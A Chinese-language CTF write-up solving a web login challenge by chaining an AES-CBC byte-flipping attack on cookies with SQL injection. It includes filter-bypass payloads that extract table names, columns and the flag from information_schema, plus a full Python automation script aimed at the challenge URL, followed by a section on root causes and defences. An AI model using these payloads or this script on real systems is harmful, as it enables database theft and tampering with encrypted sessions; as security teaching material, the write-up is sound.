CTF登录题解题详解：基于AES-CBC字节翻转攻击的SQL注入

题目概述

这是一道50分的Web登录题，通过率仅14%。题目提供了一个简单的登录界面，通过代码审计发现存在AES-CBC加密漏洞，结合SQL注入技术可获取flag。

关键知识点

1. AES-CBC加密模式：使用初始向量(IV)和密钥对数据进行分块加密
2. CBC字节翻转攻击：通过修改密文块来影响解密后的明文
3. SQL注入绕过技巧：在严格过滤条件下的注入方法
4. PHP序列化与反序列化：数据在加密前后的处理过程

详细解题步骤

1. 初步侦察

• 查看网页源代码，未发现有用信息
• 使用Burp Suite拦截请求，发现服务器返回test.php提示
• 访问test.php获取后端源代码

2. 代码审计分析

代码逻辑流程：

1. 提交的id参数先进行SQL注入过滤（过滤=, -, #, union, like, procedure等）
2. 通过过滤的id会生成：
   • iv: 随机16位值，经Base64编码
   • cipher: id序列化后与SECRET_KEY、iv经AES-128-CBC加密的结果
3. 服务器将iv和cipher设置到cookie并返回
4. 若无id参数但有iv和ciphercookie，则进入show_homepage()函数
5. show_homepage()解密流程：
   • Base64解码iv和cipher
   • 使用SECRET_KEY进行AES-128-CBC解密得到plain
   • 尝试反序列化plain，失败则返回其Base64编码
   • 成功则拼接SQL语句：select * from users limit .$info['id'] ,0

3. 漏洞利用思路

关键SQL语句：select * from users limit .$info['id'] ,0

需要实现：

1. 注释掉后面的,0
2. 使id=1，构造完整语句：select * from users limit 1

限制条件：

• 过滤了常见注释符#和--
• 但第二次提交通过iv和cipher时不会过滤

4. 具体攻击步骤

第一步：基本注入测试

1. 提交id=1%00（使用空字节截断）
2. 获取服务器返回的iv和cipher
3. 使用这些值作为cookie再次POST（不带id参数）
4. 成功返回Hello!rootzz

第二步：CBC字节翻转攻击

利用AES-CBC模式的特性：

1. 提交能通过过滤的语句如id=12
2. 获取iv和cipher
3. 翻转cipher中对应id=12的2的字节，得到cipher_new
4. 提交iv和cipher_new
5. 获取解密后的plain
6. 计算新的iv_new：

   iv_new = first_16_bytes ^ plain ^ iv_raw
   

7. 提交iv_new和cipher_new获取id=1#的结果

第三步：完整SQL注入

构造更复杂的注入语句，注意绕过过滤：

• = → 用regexp代替
• , → 用join代替
• union → 用2nion代替（后续通过字节翻转将2改为u）

具体注入流程：

1. 获取数据库表名：

   0 2nion select * from((select 1)a join (select group_concat(table_name) from information_schema.tables where table_schema regexp database())b join (select 3)c);
   

   （通过字节翻转将2nion变为union）

2. 获取列名（假设目标表为you_want）：

   0 2nion select * from((select 1)a join (select group_concat(column_name) from information_schema.columns where table_name regexp 'you_want')b join (select 3)c);
   

3. 获取flag：

   0 2nion select * from((select 1)a join (select * from you_want)b join (select 3)c);
   

5. 自动化脚本

使用Python实现自动化攻击：

from base64 import *
import urllib
import requests
import re

def attack(payload, idx, c1, c2):
    url = 'http://ctf5.shiyanbar.com/web/jiandan/index.php'
    payload = {'id': payload}
    r = requests.post(url, data=payload)
    
    # 获取初始iv和cipher
    Set_Cookie = r.headers['Set-Cookie']
    iv = re.findall(r"iv=(.*?);", Set_Cookie)[0]
    cipher = re.findall(r"cipher=(.*)", Set_Cookie)[0]
    
    # Base64解码
    iv_raw = b64decode(urllib.unquote(iv))
    cipher_raw = b64decode(urllib.unquote(cipher))
    
    # 字节翻转
    lst = list(cipher_raw)
    lst[idx] = chr(ord(lst[idx]) ^ ord(c1) ^ ord(c2))
    cipher_new = ''.join(lst)
    cipher_new = urllib.quote(b64encode(cipher_new))
    
    # 第一次提交修改后的cipher
    cookie_new = {'iv': iv, 'cipher': cipher_new}
    r = requests.post(url, cookies=cookie_new)
    cont = r.content
    
    # 获取解密后的plain
    plain = re.findall(r"base64_decode$'(.*?)'$", cont)[0]
    plain = b64decode(plain)
    
    # 计算新的iv
    first = 'a:1:{s:2:"id";s:'
    iv_new = ''
    for i in range(16):
        iv_new += chr(ord(first[i]) ^ ord(plain[i]) ^ ord(iv_raw[i]))
    iv_new = urllib.quote(b64encode(iv_new))
    
    # 最终提交
    cookie_new = {'iv': iv_new, 'cipher': cipher_new}
    r = requests.post(url, cookies=cookie_new)
    print(r.content)

# 示例调用
attack('12', 4, '2', '#')  # 测试基本功能
attack('0 2nion select * from((select 1)a join (select 2)b join (select 3)c);'+chr(0), 6, '2', 'u')  # 联合查询测试
attack('0 2nion select * from((select 1)a join (select group_concat(table_name) from information_schema.tables where table_schema regexp database())b join (select 3)c);'+chr(0), 7, '2', 'u')  # 获取表名
attack("0 2nion select * from((select 1)a join (select group_concat(column_name) from information_schema.columns where table_name regexp 'you_want')b join (select 3)c);"+chr(0), 7, '2', 'u')  # 获取列名
attack("0 2nion select * from((select 1)a join (select * from you_want)b join (select 3)c);"+chr(0), 6, '2', 'u')  # 获取数据

总结与防御建议

漏洞成因

1. 加密后的数据验证不足，信任客户端提供的加密数据
2. CBC模式固有的字节翻转漏洞
3. 二次请求时缺乏与首次请求相同的过滤机制

防御措施

1. 对加密数据使用MAC（消息认证码）验证
2. 改用GCM等认证加密模式代替CBC
3. 保持一致的过滤策略，无论数据来自何处
4. 使用预处理语句防止SQL注入
5. 对重要操作保持服务器端状态，不依赖客户端数据

学习要点

1. 加密算法的选择和使用方式同样重要
2. 代码审计时要关注数据流的所有路径
3. 过滤规则的完整性检查
4. 加密不能替代验证

这道题综合考察了加密算法理解、代码审计能力和SQL注入技巧，是一道很好的Web安全学习案例。